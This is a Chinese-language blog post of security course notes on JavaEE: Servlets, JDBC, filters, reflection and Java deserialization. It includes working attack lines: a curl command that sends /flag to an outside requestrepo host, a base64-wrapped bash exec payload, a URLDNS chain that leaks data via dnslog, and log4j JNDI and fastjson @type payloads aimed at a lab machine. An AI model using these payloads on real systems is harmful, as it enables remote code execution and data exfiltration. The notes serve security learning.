4. 小迪安全v2023笔记 javaEE应用

4. 小迪安全v2023笔记 javaEE应用

​ 大体上跟随小迪安全的课程,本意是记录自己的学习历程,不能说是完全原创吧,大家可以关注一下小迪安全。

若有冒犯,麻烦私信移除。

默认有java基础。

文章目录

  • 4. 小迪安全v2023笔记 javaEE应用
    • 0. 一些概念
    • 1. javaEE环境配置
    • 2. Servlet路由,get与post
    • 3. JDBC mybatis hibernate
      • 1. JDBC配置与使用
      • 2. Filter过滤器
      • 3. Listener监听器
    • 4. java反射
      • 1. Java反射-Class对象类的获取
      • 2. 利用反射获取成员变量
      • 3. 不安全命令执行
    • 5. java反序列化初识
      • 1. 重写readObject方法
      • 2. URLDNS链
    • 6. DNSlog
    • 7. 一些第三方组件
      • 1. maven与log4j配置
      • 2. log4j2远程代码执行
      • 3. fastjson
    • 参考文章

0. 一些概念

Servlet是运行在Web服务器上的程序,它作为来自Web浏览器或其他http客户端的请求和http服务器上的数据库或应用程序之间的中间层。使用servlet可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。

tomcat是免费开源的轻量级服务器。当配置正确时,Apache 为HTML页面服务,而Tomcat 实际上运行JSP 页面和Servlet。

1. javaEE环境配置

下载安装配置好以下软件

jdk7 (jdk-17后面的复现不了)

mysql 8.0

navicat

tomcat 8.5

  • 记得去conf的server.xml里把8080端口改成9528
  • 去conf的logging.properties里修改java.util.logging.ConsoleHandler.encoding = GBK
  • 系统环境变量CATALINA_HOME设置为自己tomcat路径,系统环境变量Path里添加%CATALINA_HOME%\bin
  • 在cmd里输入startup.bat,然后访问127.0.0.1:9528

eclipse IDE for Enterprise Java and Web Developers

Eclipse开发JavaEE环境搭建 IT晓夏

在这里插入图片描述

web.xml 配置映射关系

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
  <display-name>javaee1</display-name>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>index.htm</welcome-file>
    <welcome-file>default.html</welcome-file>
    <welcome-file>default.jsp</welcome-file>
    <welcome-file>default.htm</welcome-file>
  </welcome-file-list>
  
  <servlet>
  	<servlet-name>test1</servlet-name>
  	<servlet-class>com.example.demo1.test1</servlet-class>
  </servlet>
  
  <servlet-mapping>
  	<servlet-name>test1</servlet-name>
  	<url-pattern>/test</url-pattern>
  </servlet-mapping>
</web-app>

src/main/java/com/example/demo1/test1.java

package com.example.demo1;
import javax.servlet.http.*;

import java.io.IOException;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;

@WebServlet(name="test1",value="/test")
public class test1 extends  HttpServlet{
	@Override
	protected void doGet(HttpServletRequest req,HttpServletResponse resp)throws ServletException,IOException{
		//super.doGet(req, resp);
		System.out.println("hello world");
	}
}

在这里插入图片描述

2. Servlet路由,get与post

生命周期

实例化->初始化->服务->消亡

src/main/java/com/example/demo1/test1.java

package com.example.demo1;  
  
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;  
import javax.servlet.http.HttpServlet;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.io.PrintWriter;  
  
@WebServlet(name = "test1", urlPatterns = {"/test"})  
public class test1 extends HttpServlet {  
	@Override
	public void init(ServletConfig config) throws ServletException {
		// TODO Auto-generated method stub
		super.init(config);
		System.out.println("init");
	}
	@Override 
	protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
		// TODO Auto-generated method stub
		super.service(req, resp);
		System.out.println("Http servlet");
	}
	
	@Override
	public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
		// TODO Auto-generated method stub
		super.service(req, res);
		System.out.println("servlet service");
	}
	
	
	
    @Override  
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
        //System.out.println("hello world");
    	req.setCharacterEncoding("utf-8");
        String name = req.getParameter("name"); 
        
        resp.setContentType("text/html;charset=UTF-8");
        PrintWriter out = resp.getWriter(); 
        if (name != null) {  
            out.println("name: " + name); 
        } else {  
            out.println("No name parameter found.");  
        } 
         
    }
    @Override  
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
    	req.setCharacterEncoding("utf-8");
        String name = req.getParameter("name"); 
        System.out.print(name);
        resp.setContentType("text/html;charset=UTF-8");
        PrintWriter out = resp.getWriter(); 
        if (name != null) {  
            out.println("name: " + name); 
        }
    }
    
    @Override
    public void destroy() {
    	// TODO Auto-generated method stub
    	super.destroy();
    	System.out.println("destroy");
    }
}

访问http://127.0.0.1:9528/javaee1/test

在这里插入图片描述

在这里插入图片描述

3. JDBC mybatis hibernate

​ JDBC是Java用于数据库访问的基础API,MyBatis是一个持久层框架,它封装了JDBC并提供灵活的SQL映射功能,使开发者能更方便地操作数据库;而Hibernate则是一个完整的ORM框架,它允许开发者以面向对象的方式操作数据库,自动生成和执行SQL语句,提高了开发效率。

1. JDBC配置与使用

1.访问https://mvnrepository.com,下载数据库驱动mysql-connector-java.jar

2.将jar拖进WEB-INF的lib目录下。

3.在Eclipse中,右键点击webapp,选择 Build Path -> Configure Build Path...

4.选择Libraries选项,点击add External jars,添加jar。

在这里插入图片描述

MysqlServlet.java 普通sql语句

package com.example.demo1;
import java.sql.*;
public class MysqlServlet {
	//8.0以下
	//static final String JDBC_DRIVER="com.mysql.jdbc.Driver";
	//static final String DB_URL="jdbc:mysql://localhost:3306/user";
	
	//mysql8.0以上
	static final String JDBC_DRIVER="com.mysql.cj.jdbc.Driver";
	static final String DB_URL="jdbc:mysql://localhost:3306/user?useSSL=false&serverTimezone=UTC";
	
	//用户名,密码
	static final String USER ="root";
	static final String PASS ="123456";
	
	public static void main(String[] args) {
		Connection conn=null;
		Statement stmt=null;
		ResultSet rs=null;
        try {
            // 加载并注册JDBC驱动类
            Class.forName(JDBC_DRIVER);
 
            // 建立数据库连接
            conn = DriverManager.getConnection(DB_URL, USER, PASS);
 
            // 操作数据库...
            stmt=conn.createStatement();
            String sql = "SELECT * FROM t_user";   
            rs = stmt.executeQuery(sql);  
  
            // 处理查询结果,一次一行 
            while (rs.next()) {  
                System.out.println("rs: " + rs.getInt("id")+" "+rs.getString("username")+" "+rs.getString("password"));  
            }
            
            // 关闭连接
            conn.close();
        } catch (ClassNotFoundException e) {
            System.out.println("MySQL JDBC 驱动未找到");
            e.printStackTrace();
        } catch (SQLException e) {
            System.out.println("数据库连接失败");
            e.printStackTrace();
        }
	}
}

在这里插入图片描述

预编译写法防sql注入

public static void main(String[] args) {
		Connection conn=null;
		PreparedStatement pstmt = null;
		ResultSet rs=null;
        try {
            // 加载并注册JDBC驱动类
            Class.forName(JDBC_DRIVER);
 
            // 建立数据库连接
            conn = DriverManager.getConnection(DB_URL, USER, PASS);
 
            // 查询语句
            String sql = "SELECT * FROM t_user where id>? and username!=?";   
            pstmt=conn.prepareStatement(sql);
            //参数一表示占位符位数(从1开始)
            pstmt.setInt(1, 1);
            pstmt.setString(2, "admin");
            rs = pstmt.executeQuery();  
            
            // 处理查询结果  
            while (rs.next()) {  
                System.out.println("rs: " + rs.getInt("id")+" "+rs.getString("username")+" "+rs.getString("password"));  
            }
            
            // 关闭连接
            conn.close();
        } catch (ClassNotFoundException e) {
            System.out.println("MySQL JDBC 驱动未找到");
            e.printStackTrace();
        } catch (SQLException e) {
            System.out.println("数据库连接失败");
            e.printStackTrace();
        }
	}

2. Filter过滤器

在这里插入图片描述

XssFilter.java

package com.example.demo1.filter;
import java.io.IOException;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;

@WebFilter("/test2")
public class XssFilter implements Filter{
	@Override
	public void init(FilterConfig filterConfig) throws ServletException {//中间件启动后就自动运行
		System.out.println("xss过滤开启");
		
	}
	@Override
	public void destroy() {
        //中间件关闭后就自动运行
		System.out.println("xss销毁过滤");
		
	}
	
	@Override
	public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
			throws IOException, ServletException {
		System.out.println("xss正在过滤");
		HttpServletRequest request2=(HttpServletRequest) request;
		String name=request2.getParameter("name");
		if(name!=null && name.contains("<script>")) {
			System.out.print("存在xss攻击");
		}else {
			chain.doFilter(request,response);//放行
		}
		
	}
	
}

test2.java

package com.example.demo1;
import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(name = "test2", urlPatterns = {"/test2"})  
public class test2 extends test1 {  
	@Override
	public void init(ServletConfig config) throws ServletException {//自动调用
		super.init(config);
		System.out.println("test2 init");
	}
	
    @Override  
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
        //System.out.println("hello world");
    	req.setCharacterEncoding("utf-8");
        String name = req.getParameter("name"); 
        
        resp.setContentType("text/html;charset=UTF-8");
        PrintWriter out = resp.getWriter(); 
        if (name != null) {  
            out.println("name: " + name); 
        } else {  
            out.println("No name parameter found.");  
        } 
        out.flush();
        out.close();
         
    }
    
    @Override 
    public void destroy() {
         //当 Servlet 被 Web 服务器移除出服务或者关闭时,自动调用
    	super.destroy();
    	System.out.println("test2 destroy");
    }
}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
  <display-name>javaee1</display-name>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>index.htm</welcome-file>
    <welcome-file>default.html</welcome-file>
    <welcome-file>default.jsp</welcome-file>
    <welcome-file>default.htm</welcome-file>
  </welcome-file-list>
  
  <servlet>
  	<servlet-name>test1</servlet-name>
  	<servlet-class>com.example.demo1.test1</servlet-class>
  </servlet>
  
  <servlet-mapping>
  	<servlet-name>test1</servlet-name>
  	<url-pattern>/test</url-pattern>
  </servlet-mapping>
  
  <servlet>
  	<servlet-name>test2</servlet-name>
  	<servlet-class>com.example.demo1.test2</servlet-class>
  </servlet>
  
  <servlet-mapping>
  	<servlet-name>test2</servlet-name>
  	<url-pattern>/test2</url-pattern>
  </servlet-mapping>
  
  <filter>
  	<filter-name>XssFilter</filter-name>
  	<filter-class>com.example.demo1.filter.XssFilter</filter-class>
  </filter>
  
  <filter-mapping>
  	<filter-name>XssFilter</filter-name>
  	<url-pattern>/test2</url-pattern>
  </filter-mapping>
</web-app>

在这里插入图片描述

获取cookie

Cookie[] cookies=request2.getCookies();
for(Cookie c :cookies) {//遍历cookies数组
    String cname=c.getName();
    String cvalue=c.getValue();
    System.out.println(cname+cvalue);
}

3. Listener监听器

ListenSession.java

package com.example.demo1.Listener;

import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
//listener不用加url路由
@WebListener
public class ListenSession implements HttpSessionListener{
	@Override
	public void sessionCreated(HttpSessionEvent se) {
		System.out.println("监听器监听到了创建");
		
	}
	@Override
	public void sessionDestroyed(HttpSessionEvent se) {
		System.out.println("监听器监听到了销毁");
	}

}

DSession.java

package com.example.demo1;

import java.io.IOException;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(name = "ds", urlPatterns = {"/ds"})  
public class DSession extends HttpServlet {
	@Override
	protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
		// TODO Auto-generated method stub
		System.out.println("session销毁");
		req.getSession().invalidate();
	}
}

CSession.java

package com.example.demo1;

import java.io.IOException;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(name = "cs", urlPatterns = {"/cs"})  
public class CSession extends HttpServlet{
	@Override
	protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
		System.out.println("创建Session");
		req.getSession();//创建session
	}
}

web.xml添加

  <servlet>
  	<servlet-name>cs</servlet-name>
  	<servlet-class>com.example.demo1.CSession</servlet-class>
  </servlet>
  
  <servlet-mapping>
  	<servlet-name>cs</servlet-name>
  	<url-pattern>/cs</url-pattern>
  </servlet-mapping>  
  
    <servlet>
  	<servlet-name>ds</servlet-name>
  	<servlet-class>com.example.demo1.DSession</servlet-class>
  </servlet>
  
  <servlet-mapping>
  	<servlet-name>ds</servlet-name>
  	<url-pattern>/ds</url-pattern>
  </servlet-mapping> 

在这里插入图片描述

4. java反射

如果项目环境坏了,建议删掉项目,重建一个。

​ 反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行状态的时候才动态加载类,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的方法/访问属性。这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。

1. Java反射-Class对象类的获取

//1.根据类名:类名.class
Class userClass =User.class;
//2.根据对象:对象.getClass()
User user=new User();
Class ac=user.getClass();
//3.根据全限定类名:Class.forname("全路径名")
Class ac=Class.forName("com.example.demo1.User");
//4.通过类加载器获取Class对象:
//ClassLoader.getSystemClassLoader().loadClass("com.example.demo1.User");
ClassLoader clsload=ClassLoader.getSystemClassLoader();
Class ac2=clsload.loadClass("com.example.demo1.User");

要注意的一点,需要把package复制到lib目录下,然后project->clean,build automatically,不然forname函数找不到路径。

在这里插入图片描述

User.java

package com.example.demo1;
public class User {
	public String name="lihua";
	public int age=15;
	public User() {
		// TODO Auto-generated constructor stub
	}
	public User(String n,int a) {
		// TODO Auto-generated constructor stub
		this.name=n;
		this.age=a;
	}
}

GetClass.java

package com.example.demo1;
import java.lang.Class;
public class GetClass {
	public static void main(String[] args) {
		System.out.println(666);
		try{
			ClassLoader clsload=ClassLoader.getSystemClassLoader();
			Class ac2=clsload.loadClass("com.example.demo1.User");
			System.out.print(ac2);
		}catch(Exception e){
			System.out.print(e);
		}
	}
}

2. 利用反射获取成员变量

//Class类中用于获取成员变量的方法
Field[] getFields()://返回所有 公共 成员变量对象的数组
Field[] getDeclaredFields()://返回所有成员变量对象的数组
Field getField(String name)://返回单个公共成员变量对象
Field getDeclaredField(String name)://返回单个成员变量对象
    
//Field 类中用于创建对象的方法
void set(Object obj,Object value):赋值
Object get(Object obj)获取值。

//Class类中用于获取构造方法的方法
Constructor<?>[] getConstructors(): 返回所有公共构造方法对象的数组
Constructor<?>[] getDeclaredConstructors(): 返回所有构造方法对象的数组
Constructor<T>[] getConstructor(Class<?>... parameterTypes): 返回单个公共构造方法对象
Constructor<T>[] getDeclaredConstructor(Class<?>... parameterTypes):
    //返回单个构造方法对象

//Constructor类中用于创建对象的方法
T newInstance(Object... initargs): 根据指定的构造方法创建对象
setAccessible(boolean flag): 设置为true,表示取消访问检查

        
//Class类中用于获取成员方法的方法
Method[] getMethods():返回所有公共成员方法对象的数组,包括继承的
Method[] getDeclaredMethods():返回所有成员方法对象的数组,不包括继承的
Method getMethod(String name, Class<?>... parameterTypes) :返回单个公共成员方法对象
Method getDeclaredMethod(String name, Class<?>... parameterTypes):返回单个成员方法对象

//Method类中用于创建对象的方法
Object invoke(Object obj, Object... args):
运行方法
参数一:用obj对象调用该方法
参数二:调用方法的传递的参数(如果没有就不写)
返回值:方法的返回值(如果没有就不写)

在这里插入图片描述

GetClass.java修改对应部分

			User u=new User();
			Class ac2=Class.forName("com.example.demo1.User");
			Field field=ac2.getField("age");
			Object a=field.get(u);
			System.out.println(a);//15
			field.set(u, 44);
			System.out.print(field.get(u));//44
			
			Constructor c1=ac2.getDeclaredConstructor(String.class);//获取构造方法
			System.out.println(c1);//public com.example.demo1.User(java.lang.String,int)
			//临时开启对私有的访问
			c1.setAccessible(true);
			User uu=(User)c1.newInstance("lisi");
			System.out.println(uu.name);//lisi
			
			User u2=new User();
			Method m1=ac2.getDeclaredMethod("ptall",String.class,int.class);
			m1.invoke(u2,"zzz",66);//zzz 66

User.java 添加类方法

	private User(String n) {
		this.name=n;
	}
	
	public void ptall(String n,int a) {
		System.out.println(n+" "+a);
	}

3. 不安全命令执行

原型:

Runtime.*getRuntime*().exec("calc");

该函数不会解析Shell命令或Shell特性(如管道|、重定向>、反引号等)。

可以显示调用bash -c执行子查询

curl  http://`cat /flag`.i5yh54u0.requestrepo.co

java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLmk1eWg1NHUwLnJlcXVlc3RyZXBvLmNvbS8=}|{base64,-d}|{bash,-i}')

反射:

Class ac1=Class.forName("java.lang.Runtime");
Method exec1=ac1.getMethod("exec", String.class);
Method getRuntime1=ac1.getMethod("getRuntime");
Object runtimeObject=getRuntime1.invoke(ac1);
exec1.invoke(runtimeObject, "calc.exe");

5. java反序列化初识

序列化:将内存中的对象压缩成字节流

反序列化:将字节流转化成内存中的对象。

几种创建的序列化和反序列化协议

  • Java内置的writeObject()/readObject()
  • Java内置的XMLDecoder()/XMLEncoder()
  • Xstream
  • SnakeYaml
  • FastJson
  • Jackson

类实现序列化需满足的条件

  • 实现java.io.Serializeble接口
  • 该类所有属性必须可序列化
  • 如果有一个属性不可序列化,那么这个属性必须注明是短暂的

为什么出现反序列化安全问题

内置原生写法

  • 重写readObject方法
  • 输出调用toString方法

1. 重写readObject方法

User.java

package com.example.demo1;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User implements Serializable{
	public String name="lihua";
	public int age=15;
	public User() {
	}
	public User(String n,int a) {
		this.name=n;
		this.age=a;
	}
	public String toString() {
		return "User{"+"name= "+name+" , age= "+age+" }";
	}
	public void ptall() {
		System.out.println(name+" "+age);
	}
	private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException{
		//指向正确的defaultReadObject
		ois.defaultReadObject();
		Runtime.getRuntime().exec("calc");
	}
}

serializedemo1.java

package com.example.demo1;
import java.io.*;
public class serializedemo1 {
	public static void main(String[] args)throws IOException {
		User u =new User("serialize2",63);// 调用方法将User对象序列化并保存到文件 
		SerializableTest(u);
	}
	public static void SerializableTest(Object obj) throws IOException {
		//将对象obj进行序列化后输出到1.txt
		ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));
		oos.writeObject(obj);	
	}
}

Unserializedemo1.java

package com.example.demo1;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class unserializedemo1 {
	public static void main(String[] args)throws IOException,ClassNotFoundException {
		//调用下面方法将1.txt反序列化成类对象
		System.out.println(UnserializableTest("1.txt"));
	}
	public static Object UnserializableTest(String filename) throws IOException,ClassNotFoundException {
		//读取File文件内容进行反序列化
		ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
		Object o=objectInputStream.readObject();
		return o;
	}
}

在这里插入图片描述

代码执行,成功弹出计算器。

2. URLDNS链

HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()

hashCode执行结果触发dns请求,如果是执行命令的话就是RCE漏洞。

urldns.java

package com.example.demo1;
import java.util.HashMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.URL;
public class urldns implements Serializable{
	public static void main(String[] args)  throws IOException,ClassNotFoundException{
		HashMap<URL, Integer> hash=new HashMap<>();
		URL url =new URL("http://whoami.v0taa6.dnslog.cn");//写dnslog.cn给的网址,并把whoami以子域名的形式外带
		hash.put(url, 1);
		SerializableTest(hash);
		UnserializableTest("dns.txt");
		
	}
	public static void SerializableTest(Object obj) throws IOException {
		//将对象obj进行序列化后输出到dns.txt
		ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("dns.txt"));
		oos.writeObject(obj);	
	}
	public static Object UnserializableTest(String filename) throws IOException,ClassNotFoundException {
		//读取File文件内容进行反序列化
		ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
		Object o=objectInputStream.readObject();
		return o;
	}
}

攻击脚本ysoserial.jar

6. DNSlog

dnslog.cn

​ DNSLog的原理是利用DNS协议的特性,将需要收集的信息编码成DNS查询请求,然后将请求发送到DNS服务器,最后通过DNS服务器的响应来获取信息。

DNS解析流程

在这里插入图片描述

比如SQL注入时,网站响应无回显,可以以dnslog子域名的方式外带SQL结果。

在这里插入图片描述

7. 一些第三方组件

Maven能够自动下载项目所需的所有依赖项,并且管理这些依赖的版本,确保项目的构建一致性。

log4j是一个流行的Java日志框架,用于记录应用程序的运行时信息。

1. maven与log4j配置

Maven工程的安装配置及搭建 ChatYU

下载安装apache-maven-3.8.8

添加环境变量MAVEN_HOME,值为apache-maven-3.8.8的路径。

环境变量path添加%MAVEN_HOME%\bin

在apache-maven-3.8.8-bin目录下新建mvn_repository目录。

在apache-maven-3.8.8\conf\settings.xml里修改对应的值,如下。

<localRepository>你的路径/apache-maven-3.8.8-bin/mvn_repository</localRepository>

再修改生效的mirrors标签同下(换源):

<mirrors>
    <mirror>
      <id>alimaven</id>
      <name>aliyun maven</name>
      <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
      <mirrorOf>central</mirrorOf>        
    </mirror>
    <mirror>  
      <id>alimaven</id>  
      <mirrorOf>central</mirrorOf>  
      <name>aliyun maven</name>  
      <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>  
    </mirror> 
  </mirrors>

eclipse点击windows->preferences->maven->installations->add。添加完后勾选mvn_repository。

在这里插入图片描述

在这里插入图片描述

新建maven project,要注意选internal和webapp。

在这里插入图片描述

进程卡在33%左右时,需要在console输入Y。

进入mvnrepository.com,搜索apache log4j core(2.14.1版本)和java servlet api (3.1.0)。

将使用maven的依赖添加到maven的pom.xml中,然后run as maven test,下载依赖。

pom.xml参考如下

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>mavenexample1.com</groupId>
  <artifactId>maven1</artifactId>
  <packaging>war</packaging>
  <version>0.0.1-SNAPSHOT</version>
  <name>maven1 Maven Webapp</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
    <dependency>
	    <groupId>org.apache.logging.log4j</groupId>
	    <artifactId>log4j-core</artifactId>
	    <version>2.14.1</version>
	</dependency>
	<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->
	<dependency>
	    <groupId>javax.servlet</groupId>
	    <artifactId>javax.servlet-api</artifactId>
	    <version>3.1.0</version>
	    <scope>provided</scope>
	</dependency>
  </dependencies>
  <build>
    <finalName>maven1</finalName>
  </build>
</project>

java Resources/src/main/java下新建package com.example.demo2,在package里新建log4jTest.java

log4jTest.java

package com.example.demo2;

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


@WebServlet(name="log4j",urlPatterns = {"/log4j"})
public class log4jTest  extends HttpServlet{
	private static final Logger logger=LogManager.getLogger(log4jTest.class);
	@Override
	public void init(ServletConfig config) throws ServletException {
		// TODO Auto-generated method stub
		super.init(config);
		System.out.println("init");
		
		String codeString="${java:os}";
		logger.error("{}",codeString);
	}
	@Override  
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
        //System.out.println("hello world");
    	req.setCharacterEncoding("utf-8");
        String name = req.getParameter("name"); 
        
        resp.setContentType("text/html;charset=UTF-8");
        PrintWriter out = resp.getWriter(); 
        if (name != null) {  
            out.println("name: " + name); 
        } else {  
            out.println("No name parameter found.");  
        } 
         
    }
}

web.xml参考如下

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>maven1</display-name>
  <servlet>
  	<servlet-name>log4j</servlet-name>
  	<servlet-class>com.example.demo2.log4jTest</servlet-class>
  </servlet>
  
  <servlet-mapping>
  	<servlet-name>log4j</servlet-name>
  	<url-pattern>/log4j</url-pattern>
  </servlet-mapping>
  
</web-app>

然后把package复制到lib目录下,然后project->clean,build automatically。(让项目能找到你的代码路径)

在这里插入图片描述

然后把在中间servers->tomcat v8.5添加maven1,并运行。

在这里插入图片描述

查看运行结果

在这里插入图片描述

2. log4j2远程代码执行

​ Java 命名和目录接口 (JNDI) 是一种 Java API,它允许 Java 软件客户端通过名称发现和查找数据和对象。JNDI 提供了一个通用接口,用于访问不同的命名和目录服务,例如 LDAP、DNS 和 NIS 提供的服务。JNDI 可用于访问 Java EE 应用程序中的数据库、队列和 EJB(Enterprise JavaBeans)等资源,也可用于通过 RMI(远程方法调用)或 CORBA(通用对象请求代理架构)访问远程对象)。

高版本jdk利用

https://www.cnblogs.com/EddieMurphy-blogs/p/18078943

https://www.cnblogs.com/uf9n1x/p/17343393.html

低版本jdk利用

自行下载JNDIExploit-SNAPSHOT.jar。https://www.cnblogs.com/Welk1n/p/11701401.html

攻击机 kali linux

java -jar ./JNDI*  -C "calc" -A 192.168.10.4

靶机,需要控制eclipse编译时的jdk版本

@WebServlet(name="log4j",urlPatterns = {"/log4j"})
public class log4jTest  extends HttpServlet{
	private static final Logger logger=LogManager.getLogger(log4jTest.class);
	@Override  
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
        //System.out.println("hello world");
        String code= req.getParameter("code"); 
        PrintWriter out = resp.getWriter(); 
        if (code != null) {  
            out.println("code exists" ); 
            logger.error("{}",code);
        } else {  
            out.println("No code parameter found.");  
        } 
         
    }
}

访问网页时传参?code=${jndi:ldap://192.168.10.4:1039/fgf4fp}

各位自行尝试。

3. fastjson

mvn repository 搜索fastjson1 compatible(1.2.24),然后maven代码放进pom.xml,maven test。

在这里插入图片描述

fastjsondemo1.java

package com.example.demo2;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

class fastjsondemo1{
	public static void main(String[] args) {
		//u Object 对象
		User u=new User();
		//使用fastjson的函数来把对象转为json数据
		String j1=JSONObject.toJSONString(u);
		System.out.println(j1);//{"age":15,"name":"lihua"}
		
		String j2=JSONObject.toJSONString(u,SerializerFeature.WriteClassName);
		System.out.println(j2);//{"@type":"com.example.demo2.User","age":15,"name":"lihua"}
		
		//json->对象
		String test="{\"@type\":\"com.example.demo2.User\",\"age\":15,\"name\":\"lihua\"}";
		JSONObject jsonObject1=JSON.parseObject(test);
		System.out.println(jsonObject1);//{"name":"lihua","age":15}
		
		//若修改@type的值
		String test1="{\"@type\":\"com.example.demo2.Run1\",\"age\":15,\"name\":\"lihua\"}";
		JSONObject jsonObject2=JSON.parseObject(test1);
		System.out.println(jsonObject2);//跳计算器
	}
}

Run1.java

package com.example.demo2;
import java.io.IOException;
public class Run1 {
	public Run1( )throws IOException {
		// TODO Auto-generated constructor stub
		Runtime.getRuntime().exec("calc");
	}
	
}

参考文章

  1. JAVA安全基础(二)-- 反射机制 小阳

  2. JAVA反序列化初食 将遗憾写成歌

  3. DNSLog漏洞探测(一)之DNSLog介绍 怰月

  4. JNDI注入学习 FlynnAAAA

  5. JNDI&RMI&LDAP介绍+log4j分析 enhengzZ

  6. Java反序列化:CC1链 详解 Jay 17

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/789939.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[leetcode]partition-list 分隔链表

. - 力扣&#xff08;LeetCode&#xff09; class Solution { public:ListNode* partition(ListNode* head, int x) {ListNode *smlDummy new ListNode(0), *bigDummy new ListNode(0);ListNode *sml smlDummy, *big bigDummy;while (head ! nullptr) {if (head->val &l…

Linux系统学习 —— 计算机基础(笔记篇)

一、电脑硬件 电脑硬件由输入&#xff0c;控制计算&#xff0c;输出三部分组成。 输入部分包括键鼠&#xff0c;读卡器&#xff08;外部接口&#xff09;&#xff0c;扫描仪&#xff08;打印机的扫描仪&#xff09;。计算控制部分包括CPU &#xff0c; 内存&#xff0c;硬盘&…

第5章 IT服务部署实施

